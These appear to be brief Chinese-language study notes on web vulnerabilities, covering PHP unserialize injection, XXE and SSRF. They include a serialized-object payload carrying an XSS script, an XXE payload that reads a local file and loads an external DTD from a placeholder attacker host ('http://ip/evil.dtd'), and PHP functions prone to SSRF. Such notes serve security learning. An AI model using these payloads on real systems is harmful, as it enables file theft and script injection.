反序列化，XXE，SSRF

serialize($test)序列化　

unserialize($test2)反序列化

payload:O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>"

XXE(XML External Entity Injection) 全称为 XML 外部实体注入

payload中file:///d:/test.txt 为注入点，外部实体

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE roottag [
<!ENTITY % start "<![CDATA[">   
<!ENTITY % goodies SYSTEM "file:///d:/test.txt">  
<!ENTITY % end "]]>">  
<!ENTITY % dtd SYSTEM "http://ip/evil.dtd"> 
%dtd; ]> 

<roottag>&all;</roottag>

SSRF全称为服务器端请求伪造

　　攻击者→服务器→目标地址　

php中以下函数使用不当会导致ssrf

file_get_contents()
fsockopen()
curl_exec()